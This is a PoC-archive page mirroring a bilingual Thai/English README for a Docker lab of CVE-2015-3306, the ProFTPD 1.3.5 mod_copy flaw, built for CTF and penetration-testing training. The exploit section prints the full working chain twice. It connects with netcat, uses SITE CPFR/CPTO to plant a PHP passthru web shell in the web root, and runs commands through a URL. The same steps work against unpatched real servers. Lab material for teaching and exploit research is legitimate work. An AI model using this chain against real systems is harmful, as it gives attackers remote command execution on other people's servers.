Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2015-3306 PoC — ProFTPD mod_copy模块信息泄露漏洞

Source
Associated Vulnerability
Title: ProFTPD mod_copy模块信息泄露漏洞 (CVE-2015-3306)
Description:The mod_copy module in ProFTPD 1.3.5 allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands.
Description
CVE-2015-3306 - ProFTPD - RCE Home Lab setup (Docker) easy to use for Red Teaming or Penetration Testing
Readme
# ENGLISH BELOW

# ProFTPD 1.3.5 (mod_copy) — RCE Simulation Lab  

<p align="center">
  <img width="500" height="500" alt="CVE20153306" src="https://github.com/user-attachments/assets/98e87f67-4739-4e58-83bd-1b1d56b7fed0" />
</p>

Lab นี้ถูกออกแบบเพื่อจำลองช่องโหว่ **CVE-2015-3306 — ProFTPD mod_copy Remote File Copy to RCE**  
ใช้สำหรับเรียนรู้ **Web Shell Injection RCE** ผ่านโมดูล `mod_copy` ของ ProFTPD

---

## Features

- ProFTPD 1.3.5 แบบ Vulnerable
- เปิดใช้ `mod_copy` เต็มรูปแบบ (`SITE CPFR` / `SITE CPTO`)
- รองรับ Anonymous FTP
- Apache2 + PHP5 สำหรับจำลอง web root `/var/www/html`
- ผู้โจมตีสามารถใช้ SITE CPFR/CPTO เพื่อ **copy file ไปยัง webroot เพื่อที่จะ trigger RCE**
- ระบบสร้าง `flag_RANDOM.txt` อัตโนมัติทุกครั้งที่ container start
- เป็น Lab สำหรับ CTF / Red Team / Pentest Training

---

## Directory Structure

```
/etc/proftpd/proftpd.conf
/usr/local/proftpd/
/var/www/html/
/tmp/flag_xxx.txt
/entrypoint.sh
```

---

## การใช้งาน (Run Container)

```bash
docker build -t sentinel7-proftpd-lab .
docker run -it --rm -p 21:21 -p 80:80 sentinel7-proftpd-lab
```

---

## วิธีทดสอบช่องโหว่ CVE-2015-3306

```bash
nc <IP> 21
SITE CPFR /proc/self/cmdline
SITE CPTO /tmp/<?php echo passthru($_GET['cmd']); ?>

SITE CPFR /tmp/<?php echo passthru($_GET['cmd']); ?>
SITE CPTO /var/www/html/webshell.php
```

เปิดผ่านเว็บ:

```
http://<IP>/webshell.php?cmd=<command>
```

---

## Flag

เก็บไว้ใน:

```
/tmp/flag_RANDOM.txt
```

---

# English Version — ProFTPD 1.3.5 (mod_copy) RCE Lab

This lab simulates **CVE-2015-3306** using ProFTPD 1.3.5 with `mod_copy`, allowing attackers to perform **ProFTPD mod_copy Remote File Copy to RCE**.

---

## Features

- Vulnerable ProFTPD 1.3.5 compiled from source  
- `mod_copy` enabled (`SITE CPFR` + `SITE CPTO`)  
- Anonymous FTP access  
- Apache2 + PHP5 for webshell execution  
- Auto-generated `flag_RANDOM.txt` at container start  
- Perfect for CTF, education, and exploit research

---

## Exploit Testing Example

```bash
nc <IP> 21
SITE CPFR /proc/self/cmdline
SITE CPTO /tmp/<?php echo passthru($_GET['cmd']); ?>

SITE CPFR /tmp/<?php echo passthru($_GET['cmd']); ?>
SITE CPTO /var/www/html/webshell.php
```

Then execute:

```
http://<IP>/webshell.php?cmd=<command>
```

---

## Flag Location

```
/tmp/flag_RANDOM.txt
```

---

## Disclaimer

For educational and authorized penetration testing only.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →